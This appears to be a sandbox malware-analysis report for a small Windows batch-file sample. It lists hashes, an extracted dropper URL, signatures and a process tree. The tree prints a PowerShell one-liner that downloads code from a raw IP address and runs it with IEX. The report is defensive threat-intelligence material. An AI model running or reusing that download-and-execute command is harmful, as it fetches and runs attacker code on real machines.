dd540cd255b16f023dee940fffa52d054726d7f2c1c9aeaeafc4f594a3e2a5f1 | Triage

Analysis

max time kernel
120s
max time network
148s
platform
windows10_x64
resource
win10v200430
submitted
15-05-2020 19:19

Sharing

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General

Target

55022f44a9c2dac0916e9db3842398df.bat
Size

219B
MD5

07ea4461f7fc0758bb7fb455966df5d9
SHA1

2df15ea78ad89a7816a69bab5656274115bed854
SHA256

dd540cd255b16f023dee940fffa52d054726d7f2c1c9aeaeafc4f594a3e2a5f1
SHA512

b0ea53a6359157114b09bddf227d1bfedcd7db302c356e99e1086b736fc003b6a2f40647a6feecf6f5642104bbf8e7b9a49668c29a5f1c0857fcf1538419414d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/55022f44a9c2dac0916e9db3842398df

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1868 1360 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1868 WerFault.exe
Token: SeBackupPrivilege 1868 WerFault.exe
Token: SeDebugPrivilege 1868 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe
1868	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\55022f44a9c2dac0916e9db3842398df.bat"
1⤵
PID:972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/55022f44a9c2dac0916e9db3842398df');Invoke-PJRBBLOXXKAL;Start-Sleep -s 10000"
2⤵
PID:1360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1868

Network

MITRE ATT&CK Matrix

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Downloads

memory/1868-0-0x0000000004C00000-0x0000000004C01000-memory.dmp

Filesize
4KB

Download
memory/1868-1-0x0000000005330000-0x0000000005331000-memory.dmp

Filesize
4KB

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